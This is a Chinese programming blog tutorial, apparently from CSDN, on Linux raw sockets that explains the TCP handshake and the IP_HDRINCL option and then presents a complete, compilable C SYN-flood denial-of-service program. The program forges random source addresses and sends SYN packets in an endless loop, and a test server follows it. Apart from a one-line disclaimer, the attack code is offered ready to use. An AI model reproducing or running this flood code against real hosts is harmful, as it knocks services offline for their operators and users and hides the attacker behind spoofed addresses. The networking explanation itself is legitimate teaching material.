原始套接字的魔力【上】

基于原始套接字编程

       在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:

            

       也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。

       今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。

      原始套接字的创建方法也不难:socket(AF_INETSOCK_RAWprotocol)。

       重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的Linux/in.h中和netinet/in.h中的内容一样。

           

       我们常见的有IPPROTO_TCPIPPROTO_UDPIPPROTO_ICMP。

       用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。

       先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。

              

       我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是:

(1) 第一次握手:建立连接时,客户端A发送SYN包(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。

(2) 第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK_NUMBER=j+1),同时自己也发送一个SYN包(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。

(3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。

        至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1,SYN+ACK表示标志位syn=1和ack=1同时成立。


       原始套接字还提供了一个非常有用的参数IP_HDRINCL:

  • 当开启该参数时我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识符字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。
  • 如果不开启该参数我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。

       开启IP_HDRINCL特性的模板代码一般为:


    const int on =1;  
    if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){  
        printf("setsockopt error!\n");  
    }  

  所以,我们还得复习一下IP报文的首部格式:

 

       同样,我们重点关注IP首部中的着色部分区段的填充情况。

    struct ip {  
        unsignedint ip_hl:4;  /* 4位IP头部长度*/  
        unsignedint ip_v:4;  /* 4位版本号 */  
        uint8_t ip_tos;  /* 8位服务类型 */  
        uint16_t ip_len;  /* 16位数据包长度 */  
        uint16_t ip_id;  /* 16位标识符 */  
        uint16_t ip_off;  /* fragment offset field */  
        uint8_t ip_ttl;  /* 8位生存时间 */  
        uint8_t ip_p;  /* 8位协议号 */  
        uint16_t ip_sum;  /* 16位首部校验和 */  
        struct in_addr ip_src;  /* 32位源地址 */  
        struct in_addr ip_dst;  /* 32位目的地址 */  
    };  

有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char** argv){
        int skfd;
        struct sockaddr_in target;
        struct hostent *host;
        const int on=1;
        unsigned short srcport;

        if(argc!=4)
        {
                printf("Usage:%s target dstport srcport\n",argv[0]);
                exit(1);
        }

        bzero(&target,sizeof(struct sockaddr_in));
        target.sin_family=AF_INET;
        target.sin_port=htons(atoi(argv[2]));

        if(inet_aton(argv[1],&target.sin_addr)==0)
        {
                host=gethostbyname(argv[1]);
                if(host==NULL)
                {
                        printf("TargetName Error:%s\n",hstrerror(h_errno));
                        exit(1);
                }
                target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        }

        //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
        if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
                perror("Create Error");
                exit(1);
        }

        //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
         if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
                perror("IP_HDRINCL failed");
                exit(1);
        }

        //因为只有root用户才可以play with raw socket :)
        setuid(getpid());
        srcport = atoi(argv[3]);
        attack(skfd,&target,srcport);
}

//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
        char buf[128]={0};
        struct ip *ip;
        struct tcphdr *tcp;
        int ip_len;

        //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
        ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
        //开始填充IP首部
        ip=(struct ip*)buf;

        ip->ip_v = IPVERSION;
        ip->ip_hl = sizeof(struct ip)>>2;
        ip->ip_tos = 0;
        ip->ip_len = htons(ip_len);
        ip->ip_id=0;
        ip->ip_off=0;
        ip->ip_ttl=MAXTTL;
        ip->ip_p=IPPROTO_TCP;
        ip->ip_sum=0;
        ip->ip_dst=target->sin_addr;

        //开始填充TCP首部
        tcp = (struct tcphdr*)(buf+sizeof(struct ip));
        tcp->source = htons(srcport);
        tcp->dest = target->sin_port;
        tcp->seq = random();
        tcp->doff = 5;
        tcp->syn = 1;
        tcp->check = 0;

        while(1){
                //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
                ip->ip_src.s_addr = random();
                tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
                sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
        }
}

//关于CRC校验和的计算,网上一大堆,我就“拿来主义”了
unsigned short check_sum(unsigned short *addr,int len){
        register int nleft=len;
        register int sum=0;
        register short *w=addr;
        short answer=0;

        while(nleft>1)
        {
                sum+=*w++;
                nleft-=2;
        }
        if(nleft==1)
        {
                *(unsigned char *)(&answer)=*(unsigned char *)w;
                sum+=answer;
        }

        sum=(sum>>16)+(sum&0xffff);
        sum+=(sum>>16);
        answer=~sum;
        return(answer);
}


 我们自己编写的TCP服务器程序为serv.c:

    #include <stdlib.h>  
    #include <stdio.h>  
    #include <errno.h>  
    #include <string.h>  
    #include <unistd.h>  
    #include <netdb.h>  
    #include <sys/socket.h>  
    #include <netinet/in.h>  
    #include <sys/types.h>  
    #include <arpa/inet.h>  
    int main(int argc, char *argv[])  
    {  
        int skfd,cnfd,addr_len;  
        struct sockaddr_in srv_addr,clt_addr;  
        int portnumber;  
        char hello[]="Hello! Long time no see.\n";  
        if(2 != argc || 0 > (portnumber=atoi(argv[1])))  
        {  
             printf("Usage:%s port\n",argv[0]);  
             exit(1);  
        }  
          
        /* 创建IPv4的流式套接字描述符 */  
        if(-1 == (skfd=socket(AF_INET,SOCK_STREAM,0)))  
        {  
             perror("Socket Error:");  
             exit(1);  
        }  
      
        /* 填充服务器端sockaddr地址结构 */  
        bzero(&srv_addr,sizeof(struct sockaddr_in));  
        srv_addr.sin_family=AF_INET;  
        srv_addr.sin_addr.s_addr=htonl(INADDR_ANY);  
        srv_addr.sin_port=htons(portnumber);  
      
        /* 将套接字描述符skfd和地址信息结构体绑定起来 */  
        if(-1 == bind(skfd,(struct sockaddr *)(&srv_addr),sizeof(struct sockaddr)))  
        {  
             perror("Bind error:");  
             exit(1);  
        }  
      
        /* 将skfd转换为被动 */  
        if(-1 == listen(skfd,4))  
        {  
             perror("Listen error:");  
             exit(1);  
        }  
      
        while(1)  
        {  
           /* 调用accept,服务器端一直阻塞,直到客户程序与其建立连接成功为止*/  
            addr_len=sizeof(struct sockaddr_in);  
            if(-1 == (cnfd=accept(skfd,(struct sockaddr *)(&clt_addr),&addr_len)))  
            {  
                 perror("Accept error:");  
                 exit(1);  
            }  
            printf("Connect from %s:%u ...!\n",inet_ntoa(clt_addr.sin_addr),ntohs(clt_addr.sin_port));   
            if(-1 == write(cnfd,hello,strlen(hello))){  
                 perror("Send error:");  
                 exit(1);  
            }  
            close(cnfd);  
         }  
         close(skfd);  
         exit(0);  
    }  

 用前面我们自己编写 TCP 服务器端程序(serv.c)来做本地测试,看看效果。先把服务器端程序启动起来,如下:

                                   

       然后,我们编写的“捣蛋”程序登场了:

                             

       mdos程序执行一段时间后,服务器端的输出如下:

                                 

       因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。

       备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。


实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:

struct ip *ip;
…
ip=(struct ip*)buf;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
…
ip->ip_src.s_addr = random();

改为:

struct iphdr *ip;
…
ip=(struct iphdr*)buf;
ip->version = IPVERSION;
ip->ihl = sizeof(struct ip)>>2;
ip->tos = 0;
ip->tot_len = htons(ip_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr=target->sin_addr.s_addr;
…
ip->saddr = random();



小结:
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数,但都不常见。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值